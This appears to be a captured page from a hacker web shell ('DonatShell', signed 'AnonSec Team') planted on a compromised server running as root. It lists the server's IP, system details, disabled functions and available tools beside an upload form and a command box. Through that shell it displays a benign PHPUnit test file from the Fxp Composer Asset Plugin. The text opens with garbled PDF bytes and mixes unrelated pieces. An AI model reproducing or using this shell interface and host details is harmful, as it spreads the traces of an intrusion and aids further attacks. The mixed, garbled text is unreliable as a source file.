%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/fxp/composer-asset-plugin/Tests/Package/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/fxp/composer-asset-plugin/Tests/Package//LazyCompletePackageTest.php
<?php

/*
 * This file is part of the Fxp Composer Asset Plugin package.
 *
 * (c) François Pluchino <francois.pluchino@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Fxp\Composer\AssetPlugin\Tests\Package;

use Composer\Package\CompletePackage;
use Fxp\Composer\AssetPlugin\Package\LazyCompletePackage;
use Fxp\Composer\AssetPlugin\Package\LazyPackageInterface;
use Fxp\Composer\AssetPlugin\Package\Loader\LazyLoaderInterface;

/**
 * Tests of lazy asset package loader.
 *
 * @author François Pluchino <francois.pluchino@gmail.com>
 *
 * @internal
 */
final class LazyCompletePackageTest extends \PHPUnit\Framework\TestCase
{
    /**
     * @var LazyPackageInterface
     */
    protected $package;

    protected function setUp()
    {
        $this->package = new LazyCompletePackage('foo', '1.0.0.0', '1.0');
    }

    protected function tearDown()
    {
        $this->package = null;
    }

    public function getConfigLazyLoader()
    {
        return array(
            array(null),
            array('lazy'),
            array('lazy-exception'),
        );
    }

    /**
     * @param string $lazyType
     *
     * @dataProvider getConfigLazyLoader
     */
    public function testMissingAssetType($lazyType)
    {
        if (null !== $lazyType) {
            $lp = 'lazy' === $lazyType
                ? new CompletePackage(
                    $this->package->getName(),
                    $this->package->getVersion(),
                    $this->package->getPrettyVersion()
                )
                : false;

            $loader = $this->getMockBuilder('Fxp\Composer\AssetPlugin\Package\Loader\LazyLoaderInterface')->getMock();
            $loader
                ->expects($this->any())
                ->method('load')
                ->will($this->returnValue($lp))
            ;

            /* @var LazyLoaderInterface$loader */
            $this->package->setLoader($loader);
        }

        $this->assertSame('library', $this->package->getType());
        $this->assertSame(array(), $this->package->getTransportOptions());
        $this->assertNull($this->package->getTargetDir());
        $this->assertSame(array(), $this->package->getExtra());
        $this->assertSame(array(), $this->package->getBinaries());
        $this->assertNull($this->package->getInstallationSource());
        $this->assertNull($this->package->getSourceType());
        $this->assertNull($this->package->getSourceUrl());
        $this->assertNull($this->package->getSourceReference());
        $this->assertNull($this->package->getSourceMirrors());
        $this->assertSame(array(), $this->package->getSourceUrls());
        $this->assertNull($this->package->getDistType());
        $this->assertNull($this->package->getDistUrl());
        $this->assertNull($this->package->getDistReference());
        $this->assertNull($this->package->getDistSha1Checksum());
        $this->assertNull($this->package->getDistMirrors());
        $this->assertSame(array(), $this->package->getDistUrls());
        $this->assertNull($this->package->getReleaseDate());
        $this->assertSame(array(), $this->package->getRequires());
        $this->assertSame(array(), $this->package->getConflicts());
        $this->assertSame(array(), $this->package->getProvides());
        $this->assertSame(array(), $this->package->getReplaces());
        $this->assertSame(array(), $this->package->getDevRequires());
        $this->assertSame(array(), $this->package->getSuggests());
        $this->assertSame(array(), $this->package->getAutoload());
        $this->assertSame(array(), $this->package->getDevAutoload());
        $this->assertSame(array(), $this->package->getIncludePaths());
        $this->assertNull($this->package->getNotificationUrl());
        $this->assertSame(array(), $this->package->getArchiveExcludes());
        $this->assertSame(array(), $this->package->getScripts());
        $this->assertNull($this->package->getRepositories());
        $this->assertSame(array(), $this->package->getLicense());
        $this->assertNull($this->package->getKeywords());
        $this->assertNull($this->package->getAuthors());
        $this->assertNull($this->package->getDescription());
        $this->assertNull($this->package->getHomepage());
        $this->assertSame(array(), $this->package->getSupport());
    }
}

Anon7 - 2022
AnonSec Team